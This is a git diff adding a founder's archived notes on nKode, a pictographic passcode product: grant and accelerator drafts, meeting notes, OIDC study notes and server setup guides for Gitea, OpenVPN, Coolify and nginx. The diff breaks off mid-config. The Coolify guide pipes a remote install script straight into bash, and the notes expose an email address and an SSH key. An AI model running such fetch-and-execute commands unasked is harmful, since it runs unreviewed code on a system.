diff --git a/README.md b/README.md index 2f328d8..cce64d3 100644 --- a/README.md +++ b/README.md @@ -1,19 +1,33 @@ # Notes -Personal notes, todos, and ideas. Managed by Hammer. +Personal notes, todos, and knowledge base. Managed by Hammer. ## Structure -- `inbox.md` — Quick capture, unsorted -- `development.md` — nKode development tasks -- `documentation.md` — Content and docs ideas -- `devops.md` — Infrastructure and ops -- `personal.md` — Personal tasks -- `learning.md` — Things to learn -- `ideas.md` — Business and craft ideas -- `wishlist.md` — Things to buy -- `reference.md` — Good to know, links, tutorials -- `archive/` — Completed items +``` +notes/ +├── inbox.md # Quick capture +├── tasks/ # Action items +│ ├── development.md # nKode dev tasks +│ ├── devops.md # Infrastructure +│ ├── documentation.md # Content ideas +│ ├── ideas.md # Business/craft ideas +│ ├── learning.md # Things to learn +│ ├── personal-tasks.md # Personal todos +│ └── wishlist.md # Things to buy +├── projects/ # Active projects +│ ├── arcanum/ # NSF, DARPA docs +│ ├── nkode/ # nKode-specific notes +│ └── smartdoserx/ # SmartDoseRX project +├── meetings/ # Meeting notes +├── drafts/ # Email drafts +├── reference/ # Technical docs +│ ├── server-setup/ # VPS, Coolify, etc. +│ ├── security/ # HTB, pentesting +│ └── links.md # Useful links +├── personal/ # Personal notes +└── archive/ # Old/completed +``` ## Task Format diff --git a/archive/100 Mistakes in Go.md b/archive/100 Mistakes in Go.md new file mode 100644 index 0000000..c561024 --- /dev/null +++ b/archive/100 Mistakes in Go.md @@ -0,0 +1,6 @@ +## Ch. 2 Code and Project Organization + +##### 2.12 Project misorganization +- main.go should be in /cmd/projectname +- api integration test like main_test.go should be in /test +- sqlc should be in /vendor/sqlc diff --git a/archive/2025-01-01.md b/archive/2025-01-01.md new file mode 100644 index 0000000..e69de29 diff --git a/archive/AU Ask for Craig.md b/archive/AU Ask for Craig.md new file mode 100644 index 0000000..096487d --- /dev/null +++ b/archive/AU Ask for Craig.md @@ -0,0 +1,18 @@ +# Meeting Notes 12/2/24: AU Ask for Craig + +### Highest Priority +- Cipher: Validate our passcode and set cipher. + +- Shuffle: Quantify our shuffle algorithm with different policies. Given a policy, what's the average number of observations to crack an nKode? What's the variance? What does the distribution curve look like? + +### Middle Priority +- Database: Analysis of database encryption. What are the security implications of encrypting different parts of our database? What's the minimum amount of encryption we can do? + +### Low Priority +- DARC: Analyis our post quantum passkey (aka DARC) + + + +Start off with by quantifing, and qualifing our shuffle algorithm and passcode cipher. We'll need some statistics people on the shuffle algo and encryption people on the cipher. + +After that, we'll need encryption people to help use figure out what the minimum about of encryption we can do with our database. diff --git a/archive/Auburn Ask.md b/archive/Auburn Ask.md new file mode 100644 index 0000000..530fc93 --- /dev/null +++ b/archive/Auburn Ask.md @@ -0,0 +1,10 @@ +Date: 1/23/25 + +1. One of our original asks was: **How many key-selection observations are required to crack an nKode under a given policy configuration?** + 1. Now that I've written the code, we need them to validate its accuracy. + 2. Our new ask should be: + 1. We've developed a simulation to answer: **How many key-selection observations are required to crack an nKode under a given policy configuration?** + Our new ask is, please provide your Github handles so Donovan can add you to the repository. +2. Another ask is: + 1. How many observations are required to execute a reentrancy attack on an nKode under a given policy configuration? +3. Validate the nKode cipher. \ No newline at end of file diff --git a/archive/Chat with Tim Tucker about nKode.md b/archive/Chat with Tim Tucker about nKode.md new file mode 100644 index 0000000..1d8b7e3 --- /dev/null +++ b/archive/Chat with Tim Tucker about nKode.md @@ -0,0 +1,8 @@ +# Chat with Tim Tucker about nKode + +- no more anaconda it requires a license +- do we need a docker license? --- it does but it's not that bad +- what about all the other stuff like gitea? --- gitea is open sources +- Can we open source nkode with license? --- maybe +- customers want isolation. they don't want share machines +- Is SSO feasible? if everyone wants their own nKode then people will have memorize many nKodes \ No newline at end of file diff --git a/archive/DARPA Slides.md b/archive/DARPA Slides.md new file mode 100644 index 0000000..b0221af --- /dev/null +++ b/archive/DARPA Slides.md @@ -0,0 +1,99 @@ +Here's what i've got so far + +Intro slide 1 +title: Warfighter Zero Trust Authentication at the Tactical Edge + +Slide 2 +Title: Authentication Factors – Passwords Are the Weak Link +Content: +•Something You Have: CAC Card, Passkey – Physical, secure, warfighter-ready. + +•Something You Are: Face, Fingerprint, Voice – Unique, hard to steal. + +•Something You Know: Passwords, Codes, Questions – Easy to crack, forget, or intercept. + +Slide 3 +title: Passwords Are Old – And Obsolete +content: +•1961: First password login on a time-sharing OS. + +•1962: Bug exposed all passwords in plain text—exploited instantly. + +•2022: 24+ billion stolen credentials flood the dark web. + +•Today: nKode replaces ancient passwords with edge-ready security. + +Slide 4 +title: Good Passwords Are Hard to Remember – And Still Fail +content: +•Problem: Complex passwords (e.g., 99$T7oEJ^&pHp%5#hb) defy memory. + +•Weakness: Reuse invites credential stuffing; keyloggers grab every stroke. + +•Flaw: Reliance on perfect encryption—compromised channels doom passwords. + +•Fix: nKode ditches passwords for secure, simple warfighter auth. + +Slide 5 +title: Credential Stuffing – Passwords Betray the Mission +content: +•Threat: 80% of breaches start with stolen passwords reused in automated attacks. + +•Risk: Commercial breaches (e.g., email, banking) expose military accounts if warfighters overlap. + +•Problem: You can’t control external leaks; passwords make it your mess. + +•Solution: nKode ends password risks with edge-ready security. + +Slide 6 +title: Keyloggers + Passwords = Warfighter Risk +content: +•Threat: Keyloggers (software/hardware) steal passwords by recording keystrokes. + +•Risk: Exposes military networks and tactical edge ops to adversaries. + +•Problem: Hard to detect; passwords are the weak link. + +•Solution: nKode eliminates passwords, secures warfighters. + + +Slide 7 +title: nKode Authenticates Over Compromised Channels +content: +•Challenge: Encrypted channels (e.g., TLS) can be compromised by MITM attacks. + +•Risk: Adversaries intercept or spoof credentials, disrupting tactical edge ops. + +•nKode Advantage: Authenticates reliably even if encryption is breached. + +•How: An nKode keypad randomly shuffles making it impossible to know what icons are getting selected + +Slide 8 +title: nKode Outclasses Passwords – Warfighter Ready +content: +•Passwords Fail: Hard to recall, reused, nabbed by keyloggers. + +•nKode Wins: Pictographic, unique, keylogger-proof. + +•Edge Power: Authenticates over compromised channels, <1KB bandwidth. + +•Bottom Line: Simple to use, impossible to crack. + +Slides 9-11 +Explains what nKode is and how it works + +Slide 12 +Title: The Team +Content: +content about the team... + +Slide 13 +Demo + + +I think the flow should be different: +The 2nd slide "Authentication Factors... " is a good intro. +I think the slides that discuss all the different attacks then explain how nkode fixes the issue should be change. +I think the slides should first introduce the problem of passwords. +It should explain how the state-of-the-art in Something you know authentication has stagnated for the last 60 years where something you have and something you are have made progress in leaps and bounds. +Then i should explain what nKode is. After the audience has a basic explanation of nkode, i can wrap up by explaining how nkode can solve all the vulnerabilities of passwords followed by the demo \ No newline at end of file diff --git a/archive/Eagle Venture Lab application.md b/archive/Eagle Venture Lab application.md new file mode 100644 index 0000000..31dcb28 --- /dev/null +++ b/archive/Eagle Venture Lab application.md @@ -0,0 +1,48 @@ +# Eagle Venture Lab + +## Step 1 + +### Your Elevator Pitch should summarize the problem that needs to be addressed and why your startup is the best solution to that problem. + +#### 30-Second Elevator Pitch (100 words max)* +Password authentication has two main problems. +1) People choose bad passwords. Only 1/3 of Americans use password managers. The other 2/3rds pick their own, and most people choose bad passwords. +2) People reuse their bad passwords on multiple sites. If you aren't using a password manager, you're likely reusing the same password over and over. + +nKode is a pictographic passcode where users can only choose a strong passcode, and no two people will be able to choose the same passcode. + +### One-Sentence Pitch (25 words max)* + +nKode is a pictographic passcode that is easier to remember and more secure than a password. + +### Briefly describe your revenue model for your offering (50 words max)* + +We have two revenue models. +1) B2B model: nKode is used by businesses for employee authentication. + +2) B2C model: nKode is used by individuals to login into their accounts as you would with "Sign in with Google" or "Sign in with Apple". Arcanum Technology creates services like Clerk.com or Auth0.com. + + +### Briefly describe your startup's journey to date: + +- Tell us about yourself and why you started the business +- Describe your team and how they came together, if applicable +- How have you validated your idea? +- How have you executed on your idea? +- What is your greatest need to help you get launched? + +Brooks Brown invented nKode after a credit card skimmer stole his debit card pin number. nKode prototype version was a modified keypad with numbers instead of images. +Before the pandemic, Arcanum developed nKode for banks and financial institutions. Most financial institutions we've approached over the years want to use nKode, but none want to be the first to integrate it. +I'm the most recent founder to join Arcanum. I joined because I saw a company with a patent for an incredible technology that could dominate the identity and access management space. +Since joining, I've also developed nKode Gen2 an even more secure implementation of nKode. +We've also pivoted from trying to sell nKode to finding a strategic partner. We need a large company or institution with industry trust to stand behind our technology. + +### Briefly describe your go-to-market plan, including how you will acquire customers and any applicable sales channels you plan on selling through (50 words or less) + +Our Go-to-Market plan is to find strategic partners in industry or academia with cybersecurity expertise to validate our technology. With the backing of our strategic partner, we'll reapproach the companies that expressed interest in nKode but were unwilling to try it first. + +### Briefly describe your potential exits and the profile of the mostly likely acquirer of your company (50 words or less)* + +Our exit strategy is to be acquired by a company in the identity and access management space. A company like Okta has the most to gain with a Arcanum's patent. + + diff --git a/archive/Email to Jonathan.md b/archive/Email to Jonathan.md new file mode 100644 index 0000000..a264170 --- /dev/null +++ b/archive/Email to Jonathan.md @@ -0,0 +1,9 @@ + +Tabletop Senarios + +Hi Jonathan, + +Great talk on Wednesday! I’d like to set up a time next week to go over some tabletop scenarios together via Teams. Could you let me know what days and times work best for you? + +Thanks, +Donovan \ No newline at end of file diff --git a/archive/Gitea Server.md b/archive/Gitea Server.md new file mode 100644 index 0000000..410546f --- /dev/null +++ b/archive/Gitea Server.md @@ -0,0 +1,65 @@ +# Gitea Server + +- ChatGPT conversation: https://chatgpt.com/share/672ece16-da60-8009-83de-9b33c08aed6a +- follow the basic ubuntu setup first + +### Install docker + +https://docs.docker.com/engine/install/ubuntu/ + + + +### Docker compose + +``` +version: "3" + +networks: + gitea: + external: false + +services: + server: + image: gitea/gitea:latest + container_name: gitea + environment: + - USER_UID=1000 + - USER_GID=1000 + - GITEA__service__DISABLE_REGISTRATION=true + - GITEA__service__ENABLE_OPENID_SIGNIN=false + - GITEA__service__ENABLE_OPENID_SIGNUP=false + restart: always + networks: + - gitea + volumes: + - ./gitea:/data + - /etc/timezone:/etc/timezone:ro + - /etc/localtime:/etc/localtime:ro + ports: + - "3000:3000" # Gitea web interface + - "2222:22" # Gitea SSH +``` + +### Run docker compose + +`docker-compose up -d` + +`docker exec -it gitea /bin/bash` +`gitea admin user create --username admin --password YourPassword --email admin@example.com --admin` + + +### SQLITE DB +to get into the database + +sqlite3 /data/gitea/gitea.db + +for users, go to the user table + +#### Delete a user + +``` +DELETE FROM user WHERE email = 'donovan.a.kelly@pm.me'; +DELETE FROM email_address WHERE email = 'donovan.a.kelly@pm.me'; +DELETE FROM external_login_user WHERE email = 'donovan.a.kelly@pm.me'; + +``` \ No newline at end of file diff --git a/archive/OpenID Connect Passport Notes.md b/archive/OpenID Connect Passport Notes.md new file mode 100644 index 0000000..70d1da5 --- /dev/null +++ b/archive/OpenID Connect Passport Notes.md @@ -0,0 +1,140 @@ +## Ch. 2 + +## Ch. 3 OpenId Connect Endpoints +##### 3.1 Authorization Endpoint +- displays authentication and consent screen +- returns `authorization_code` See ch. 5 +- client initiates the call to the authorization endpoint +###### 3.1.2 input parameters with examples +``` +scope: openid profile email address phone +response_type: code (backend flow) || id_token token (frontend flow) || code id_token (hybrid) +client_id: id of the client +redirect_uri: redirect url +state: cross-site scripting protection +nonce: required for implict flow (frontend flow) +Optional Params: (more research on each) +claims: +display: +prompt: +max_age: maximum lifetime of the token in seconds after which the user must re-authenticate +ui_locales: +id_token_hint: +login_hint: +acr_values: +``` + +###### 3.1.3 Output +Sends authentication and access delegation (authorization) tokens to redirect endpoint. Token/s are sent as an HTTP 302 redirect. + +##### Ch 3.2 Resource Endpoint +Managed by the resource provider. Serves protected resources to authorized parties. valid OAuth `access_token` required + +##### Ch 3.3 Userinfo Endpoint +This is a resource endpoint `/userinfo` that serves profile information of the authenticated end-user. +This endpoint returns a list of claims like DOB, name, email, phone_number, profile_picture or any other claim. +This is Defined in the OpenID Connect Standard. +To the OAuth server, it's just a resource endpoint. +1) Will typically be a GET request but should support POST (not sure why) +2) should support CORS +3) Should return JSON `Content-Type: application/json` Might need to be a JWT `Content-Type: application/jwt` +``` +List of Claims: +sub: something to id the user +name +family_name +preferred_username +picture +email +birthday +zoneinfo: time zone +updated_at: last updated to the profile +Other Claims: +nonce +auth_time +at_hash: access_token hash +c_hash: authorization_code hash +acr: more research +amr: more research +sub_jwk: public key to check the signature of the id_token +``` + +##### 3.4 Token Endpoint +Called by the Client. +Client sends client_id, client_secret, and authorization_code to get an access_token, refresh_token, or id_token + +``` +Client->/token +HTTP header +Content-Type: application/x-www-form-urlencoded +Authorization: Basic {Base64URL-encoding(clientID:clientSecret)} + +Form Parameters: +grant_type: authorization_code +code: the authorization_code proved by the authorization endpoint +redirect_ur: redirect URL + +Response: +Header: +Cache-Control: no-store +Pragma: no-cache +Body: +{ + expires_in: access_token expiration in seconds, + access_token: OAuth access_token, + token_type: access token type `Bearer`, + refresh_token: OAuth refresh_token, + id_token: id_token for the end user +} +``` +###### 3.4.4 Validations at the Token Endpoint +- Authenticate the client +- validate authorization_code + - was issued to client + - is valid + - hasn't been used +- validate redirect_uri matches pre-registered value +##### 3.5 Redirect Endpoint +authorization endpoint delivers `id_token, access_token, authorization_token` + +## Ch. 4 Tokens in OpenID Connect + +``` +id_token +access_token +refresh_token +authorization_code +``` + +##### Two types of tokens: + +**Reference Tokens +- Randomly Generated String +- Opaque + + **Value Token + - Contain things like claims ie JWT +##### 4.2 Access Token +- typically reference tokens +- holder has access rights to Resource Provider +- short lived token +- bearer token +- id_token typically bound to the access token what the `at_hash` claim + +##### 4.3 Refresh Token +- long lived token +- used to request new id_token and access_token +- not available with implicit flow +##### 4.4 Authorization Code +- very short lived token +- only give after authentication and consent +- only used to request an `access_token` (I think the book means refresh_token but access_token and id_tokens can be sent too) +##### 4.5 ID Token +- Contains claims +- is a value token +- is a JWT, JWE, or JWS +## Ch. 5 OpenID Connect Flows + +## ChatGPT flow: +https://chatgpt.com/c/677a04ed-58cc-8009-b191-be8164bc4946 + diff --git a/archive/OpenVPN and CA install.md b/archive/OpenVPN and CA install.md new file mode 100644 index 0000000..5742f52 --- /dev/null +++ b/archive/OpenVPN and CA install.md @@ -0,0 +1,205 @@ +# OpenVPN and CA install + +### sources +- https://www.digitalocean.com/community/tutorials/how-to-set-up-and-configure-an-openvpn-server-on-ubuntu-20-04 +- https://chatgpt.com/share/672b8e75-5a08-8009-9d13-f062d91bfac8 + +### Prereqs + +ubunutu 24 with ufw configured + +### Update/Upgrade +``` +sudo apt update +sudo apt upgrade -y +``` + +### Install OpenVPN and Easy-RSA + + +`sudo apt install openvpn easy-rsa -y` + +### Setup CA +``` +make-cadir ~/openvpn-ca +cd ~/openvpn-ca +``` +``` +vi vars +``` +``` +set_var EASYRSA_REQ_COUNTRY "YourCountry" +set_var EASYRSA_REQ_PROVINCE "YourProvince" +set_var EASYRSA_REQ_CITY "YourCity" +set_var EASYRSA_REQ_ORG "YourOrganization" +set_var EASYRSA_REQ_EMAIL "email@example.com" +set_var EASYRSA_REQ_OU "YourOrganizationalUnit" +``` + +``` +./easyrsa init-pki +./easyrsa build-ca +``` + +add password to ca + +### Generate Certs and Keys + +`./easyrsa gen-req server nopass` + +`./easyrsa sign-req server server` +Type yes and enter ca password + +`./easyrsa gen-dh` + +`openvpn --genkey --secret ta.key` // this is deperacated need update + +### Config OpenVPN Server + +`sudo cp pki/ca.crt pki/private/server.key pki/issued/server.crt pki/dh.pem ta.key /etc/openvpn/` + +`sudo vi /etc/openvpn/server.conf` + +``` +port 1194 +proto udp +dev tun + +ca ca.crt +cert server.crt +key server.key # This file should be kept secret +dh dh.pem +tls-auth ta.key 0 # This file should be kept secret +cipher AES-256-CBC +auth SHA256 + +server 10.8.0.0 255.255.255.0 +ifconfig-pool-persist ipp.txt + +push "route {ip.addr.ess.0 last byte is masked} 255.255.255.0" # Replace with masked ip address + +keepalive 10 120 +persist-key +persist-tun + +user nobody +group nogroup + +status openvpn-status.log +verb 3 +``` + +### Enable IP Forwarding + +`sudo vi /etc/sysctl.conf` +``` +net.ipv4.ip_forward=1 +``` + +`sudo sysctl -p` + +### Config Firewall + +`sudo vi /etc/default/ufw` + +change: `DEFAULT_FORWARD_POLICY="ACCEPT"` + +`sudo vi /etc/ufw/before.rules` + +Replace IP Address: +``` +# START OPENVPN RULES +*nat +:POSTROUTING ACCEPT [0:0] +-A POSTROUTING -s 10.8.0.0/8 -o {ADD IP ADDRESS} -j MASQUERADE +COMMIT +# END OPENVPN RULES +``` + +`sudo ufw allow 1194/udp` +`sudo ufw enable` + +### Start OpenVPN + +``` +sudo systemctl start openvpn@server +sudo systemctl enable openvpn@server +sudo systemctl status openvpn@server +``` + +### Client Config + +``` +mkdir -p ~/client-configs/keys +mkdir -p ~/client-configs/files +``` + +`vi ~/client-configs/base.conf` + +Rplace MY IP ADDRESS +``` +client +dev tun +proto udp +remote {MY IP ADDRESS} 1194 +resolv-retry infinite +nobind + +user nobody +group nogroup + +persist-key +persist-tun + +remote-cert-tls server +cipher AES-256-CBC +auth SHA256 +key-direction 1 +verb 3 +``` + +### Client Certificates and Keys + +`cd ~/openvpn-ca` + +Replace client1 with client_name +``` +./easyrsa gen-req client1 nopass +./easyrsa sign-req client client1 +``` + +`cp pki/ca.crt pki/issued/client1.crt pki/private/client1.key ta.key ~/client-configs/keys/` + +`vi ~/client-configs/make_config.sh` + +### Generate Client Keys +Replace client name +``` +#!/bin/bash + +CLIENT_NAME={client name} + +KEY_DIR=~/client-configs/keys +OUTPUT_DIR=~/client-configs/files +BASE_CONFIG=~/client-configs/base.conf + +mkdir -p $OUTPUT_DIR + +cat ${BASE_CONFIG} \ + <(echo -e '') \ + ${KEY_DIR}/ca.crt \ + <(echo -e '\n') \ + ${KEY_DIR}/${CLIENT_NAME}.crt \ + <(echo -e '\n') \ + ${KEY_DIR}/${CLIENT_NAME}.key \ + <(echo -e '\n') \ + ${KEY_DIR}/ta.key \ + <(echo -e '') \ + > ${OUTPUT_DIR}/${CLIENT_NAME}.ovpn +``` + +`chmod 700 ~/client-configs/make_config.sh` +`./client-configs/make_config.sh` + +### Distribute Client Config +{client name}.ovpn is now available in ~/client-configs/files/. diff --git a/archive/Table-Top Prep.md b/archive/Table-Top Prep.md new file mode 100644 index 0000000..7504d4c --- /dev/null +++ b/archive/Table-Top Prep.md @@ -0,0 +1,52 @@ +## nKode API +- Describe each endpoint; it's inputs and outputs +- Flowchart/network diagram of enrollment and login + +## Table-Top Scenarios +- nKode observation (shoulder surfing) +- nKode observation (screen recording) +- +```mermaid +graph TD + A[Start] --> B[Process] + B --> C[End] +``` + + +``` mermaid +sequenceDiagram + participant Client + participant Server + + Note over Client,Server: Initial Connection + + Client->>Server: Connection Request + Server-->>Client: Connection Accepted + + Note over Client,Server: Data Transfer 1 - Client to Server + + Client->>+Server: Send Matrix Data + Note right of Client: Matrix Data: + Note right of Client: | 10 | 15 | 20 | + Note right of Client: | 25 | 30 | 35 | + Note right of Client: | 40 | 45 | 50 | + + Server->>Server: Process Matrix + Server-->>-Client: Acknowledge Receipt + + Note over Client,Server: Data Transfer 2 - Server to Client + + Server->>+Client: Return Processed Matrix + Note left of Server: Processed Matrix: + Note left of Server: | 20 | 30 | 40 | + Note left of Server: | 50 | 60 | 70 | + Note left of Server: | 80 | 90 | 100 | + + Client->>Client: Display Results + Client-->>-Server: Acknowledge Receipt + + Note over Client,Server: Connection Termination + + Client->>Server: Disconnect Request + Server-->>Client: Disconnect Confirmed +``` diff --git a/archive/Talk with Tim Tucker about nKode.md b/archive/Talk with Tim Tucker about nKode.md new file mode 100644 index 0000000..75258dd --- /dev/null +++ b/archive/Talk with Tim Tucker about nKode.md @@ -0,0 +1,7 @@ +- no more anaconda +- do we need a docker license? +- what about all the other stuff like gitea? +- Can we open source nkode with license? +- customers want isolation. they don't want share machines +- Is SSO feasible? if everyone wants their own nKode then people will have memorize many nKodes +- Is SSO feasible? if everyone wants their own nKode then people will have memorize many nKodes \ No newline at end of file diff --git a/archive/Thoughts on Nick Sellers action plan.md b/archive/Thoughts on Nick Sellers action plan.md new file mode 100644 index 0000000..34408b3 --- /dev/null +++ b/archive/Thoughts on Nick Sellers action plan.md @@ -0,0 +1,7 @@ +Craig: +Huntsville meeting 3/26-3/28 works for me. +Nick. Great action plan here are some of my thoughts: +I'll lead Arcanum's Phase I SBIR topics and solicitations. +https://www.sbir.gov/topics?keywords=&status=Open&agency=&program=&phase=&year=&open_date_from=&open_date_to=&close_date_from=&close_date_to=&page=0 + + diff --git a/archive/X Post VPS vs AWS.md b/archive/X Post VPS vs AWS.md new file mode 100644 index 0000000..d4f7ea5 --- /dev/null +++ b/archive/X Post VPS vs AWS.md @@ -0,0 +1,12 @@ +I studied computer engineering in school and decided to change my career from an embedded system/firmware path to web development. +When I started down that path, spent a lot of time learning AWS, Azure and GCP (Big Cloud) thinking they were the only way to build web apps and APIs. +They offer so many tools and seemingly infinite scale. +This is a trap. These cloud platforms are difficult to use and expensive. +With @coolifyio and @Hetzner_Online, I spend less time on infrastructure and more time on building my app. +I'm not concerned with how I'll scale my app to infinity. +I'm focused on building something that works. +After that'll shift my efforts towards getting customers. +If my app is successful and my current infrastructure is struggling, I'll spend my time on that, but today that isn't my problem. +Big cloud solves problems most application don't have and never will. +Don't fall for their trap. +Keep it simple, stupid. \ No newline at end of file diff --git a/archive/email to Founder University.md b/archive/email to Founder University.md new file mode 100644 index 0000000..0ebd5a7 --- /dev/null +++ b/archive/email to Founder University.md @@ -0,0 +1,16 @@ +# Email to Founder University + +Hi Kelly and Lukas, + +Thank you for taking the time to review our application. We're so delighted to have received an acceptance from you. It means a lot to me and the team that you'd include us in your 9th cohort. + +I'm a big fan of the All In Podcast and This Week in Startups, so I leaped at the opportunity without considering whether I'd be a good fit for Founder University. After a deeper look at the program, I don't think we'd be a good fit. + +My cofounders and I have been trying to get our technology into mostly fintech companies for over five years, and there is a lot of interest in nKode. Despite this interest, companies are unwilling to do so with a technology that has yet to be widely adopted or has the backing of a trusted identity provider. + +This year, we have shifted our focus to finding a strategic partner (like Okta or Microsoft) with the credibility to back nKode as a secure authentication technology. + +Here's our ask: can we set up a meeting with you or someone on your team to help us find a strategic partner? + +Thanks, +Donovan diff --git a/archive/google accelorator questions and answers.md b/archive/google accelorator questions and answers.md new file mode 100644 index 0000000..80a65be --- /dev/null +++ b/archive/google accelorator questions and answers.md @@ -0,0 +1,8 @@ +# Why do you want to apply to this program? What are your expectations? +My cofounders and I have been trying to get our technology into mostly fintech companies for over five years, and there is a lot of interest in nKode. Despite this interest, companies are unwilling to do so with a technology that has yet to be widely adopted or has the backing of a trusted identity provider. We hope this will lead us to a strategic partner with the credibility to take nKode to market. + +# How can you contribute to the success of other startups in your cohort? +As CTO of Arcanum Technology, I can contribute to the success of other startups by sharing my technical expertise in LLM/RAG development and authentication. I have experience accross a wide domain of tech stacks from embedded system to web development. I can provide mentorship on technicial problems other in my cohort migh have. + +# Tell us about the founding team story +Brooks Brown, the inventor of nKode, got the idea for it when a family friend had their debit card number and pin stolen from credit card skimmer. He originally developed nKode as a way to make skimming impossible. diff --git a/archive/hetzner_coolify_setup.md b/archive/hetzner_coolify_setup.md new file mode 100644 index 0000000..9a2b781 --- /dev/null +++ b/archive/hetzner_coolify_setup.md @@ -0,0 +1,75 @@ +# Hetzner Coolify Setup + +## Sources + +- https://www.youtube.com/watch?v=taJlPG82Ucw&t=56s + + +## Hetzner dashboard setup +- add ssh key + +- add this to cloud init +``` cloud_init.yml +# This config was written for Ubuntu 22.04 +# If you are using a more recent version, see the comments of this gist for fixes +#cloud-config +users: + - name: dkelly + ssh_authorized_keys: + - "ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIKQWloxYNqNyOw6KKXsQnYPakthlq9gqf5qR1QGR1g6w donovan.a.kelly@pm.me" + sudo: ALL=(ALL:ALL) ALL + groups: sudo + shell: /bin/bash +chpasswd: + expire: true + users: + - name: dkelly + password: replacethispasswordplease + type: text +runcmd: + - sed -i '/PermitRootLogin/d' /etc/ssh/sshd_config + - echo "PermitRootLogin without-password" >> /etc/ssh/sshd_config + - sed -i '/PubkeyAuthentication/d' /etc/ssh/sshd_config + - echo "PubkeyAuthentication yes" >> /etc/ssh/sshd_config + - sed -i '/PasswordAuthentication/d' /etc/ssh/sshd_config + - echo "PasswordAuthentication no" >> /etc/ssh/sshd_config + - systemctl restart sshd + - echo "\$nrconf{kernelhints} = -1;" > /etc/needrestart/conf.d/99disable-prompt.conf + - apt update + - apt upgrade -y --allow-downgrades --allow-remove-essential --allow-change-held-packages + - reboot + ``` + +## Setup +- ssh into root +``` +apt update +apt upgrade +reboot +``` + +- Don't mess with ufw or ssh config or worry about create a sudo user. Do this at the end + + +## Install Coolify + +curl -fsSL https://cdn.coollabs.io/coolify/install.sh | bash + +## Setup +- create username and password. we'll have to change this later because it doesn't use ssl + +- select localhost + +## Lock down the server + +- ssh into dkelly user and change password +- Set the root password `passwd` +- setup ufw + +## Add DNS Records + +-add wildcard * and empty A records + +## Proxy restart + +- might need to restart the proxy for ssh keys to take effect diff --git a/archive/nKode OIDC.md b/archive/nKode OIDC.md new file mode 100644 index 0000000..5b9cec7 --- /dev/null +++ b/archive/nKode OIDC.md @@ -0,0 +1,18 @@ + +## Endpoints +### Client Portal +`https://client.nkode.tech/portal` + +- Get Client Id + - displayed in portal +- Get and reset Client secret + - `POST https://client.nkode.tech/reset` + - return client secret +- Add Redirect uris + - Display client id + - `POST https://client.nkode.tech/update_redirect` + - add and remove +- select scopes + - display client id + - `POST https://client.nkode.tech/update_scopes` + - add and remove diff --git a/archive/nKode Warfighter zero trust authentication at the tactical edge.md b/archive/nKode Warfighter zero trust authentication at the tactical edge.md new file mode 100644 index 0000000..a81e999 --- /dev/null +++ b/archive/nKode Warfighter zero trust authentication at the tactical edge.md @@ -0,0 +1,46 @@ +Points from Bill Playte +- paint a picture with an example: + - Warfighters in the field want to ID themselves as friendly to a UAV or call in a drone strike. Right now they call that in over the radio. What happens if a red threat actor impersonates their voice? ... + - when starlink brings high-bandwidth commutation to field, will warfighters be able to enter long complex passcodes every time the do anything on their phone? +- nKode should be Tactical Readiness Level (TRL) 6.5 or 6.6 maybe 6.7 +- emphasize low-bandwidth + +Video Submission process: +https://chatgpt.com/share/67b7b41f-0c38-8009-8513-49f843647c26 +- **Video length**: No more than **7 minutes**. +- **Format**: MP4, HD 1280x720, under **1 GB**. +- **Required elements**: Problem definition, advancement beyond the current state, team capability, and defense/commercial impact. + +Each video must address **four required elements**: + +1. **Problem Definition & Current State of the Art**: + - Clearly define the problem your technology solves. + - Explain the **current state of the art** and why existing solutions are inadequate. + - Must fit within **at least one of the DARPA topic areas**. +2. **Advancing the State of the Art**: + - How does your solution improve on existing technologies? + - Identify what is "new" in your approach. + - Discuss potential barriers to innovation. +3. **Team Capability**: + - Highlight the key personnel, their expertise, and why they are the best team for the project. + - Demonstrate past experience and qualifications. +4. **Defense/Commercial Market Impact**: + - Describe **real-world applications** in both defense and commercial markets. + - Explain how the solution will impact national security and/or the private sector. + +## Warfighter Situations + +#### senario 1 +Warfighters in the field communicate with the base by radio. Radio is line-of-sight. Warfighers want to do something that requires authentication like calling in backup, Identifying themselves as friendly if they've been out of communication range for awhile, or call in an airstrike +##### Questions +1) What are some situations where authentication (I am who i say i am) needed? Is it enough to have an encrypted radio? +2) Do warfighters have passphrase they used to authenticate? +3) Are these fighters using smart phones? +4) Are these guys the warfighers at the tactical edge? + +#### Senario 2 +A centralized base is setup with all it's own infrastructure including 5G networks. Warfighters radio in (from senario 1) that they want an air strike. +#### Questions +1) does the commanding officer of the base authroize that? If so, how do they authenticate? are they getting on smartphones and entering a password? +2) Are these guys also warfighters at the tactical edge? + diff --git a/archive/next auburn meeting.md b/archive/next auburn meeting.md new file mode 100644 index 0000000..d5f2162 --- /dev/null +++ b/archive/next auburn meeting.md @@ -0,0 +1,30 @@ +# Next Auburn Meeting + +Hi Auburn Team, + +Last meeting, Jonathan mentioned that you guys can do some white/grey box testing. +We're in agreement that that is a great starting place. + +## How many key-selection observations are required to crack an nKode under a given policy configuration? + + +### Policy Parameters + +1. iconComplexity: +The total number of unique icons available in the system. +(Defines the diversity of visual elements used in the passcode.) +2. passcodeLength: +The number of icons in a passcode. +(Determines the sequence length required for authentication.) +3. maxFailedAttempts: +The number of incorrect login attempts allowed before an account is locked. +(Controls brute-force mitigation by limiting retries.) +4. keypadSize: +The total number of keys displayed on the keypad. +(Impacts usability and potential guesswork complexity.) +5. iconsPerKey: +The number of icons assigned to each key. +(Specifies the visual density per key, affecting recognition difficulty.) +6. keypadHashLimit: +The number of unique keypad layouts stored before old hashes are rotated out. +(Ensures keypads are randomized across logins while limiting memory usage.) \ No newline at end of file diff --git a/archive/nginx on vpn.md b/archive/nginx on vpn.md new file mode 100644 index 0000000..8b29cd4 --- /dev/null +++ b/archive/nginx on vpn.md @@ -0,0 +1,64 @@ +# Nginx on VPN + +Configure server with OpenVPN and CA + +### Install OpenVPN + +`sudo apt install nginx` + +### nginx config + +`sudo vi /etc/nginx/sites-av.../default` + +``` +server { + listen 10.8.0.1:443 ssl; + # server_name _; # You can omit this line or use '_' + + ssl_certificate /etc/ssl/certs/nginx-selfsigned.crt; + ssl_certificate_key /etc/ssl/private/nginx-selfsigned.key; + + # SSL settings + ssl_protocols TLSv1.2 TLSv1.3; + ssl_ciphers HIGH:!aNULL:!MD5; + ssl_prefer_server_ciphers on; + ssl_session_cache shared:SSL:10m; + ssl_session_timeout 10m; + ssl_session_tickets off; + + # Add Diffie-Hellman parameter for DHE ciphersuites + ssl_dhparam /etc/ssl/certs/dhparam.pem; + + + # Add security headers + add_header Strict-Transport-Security "max-age=63072000; includeSubDomains; preload" always; + 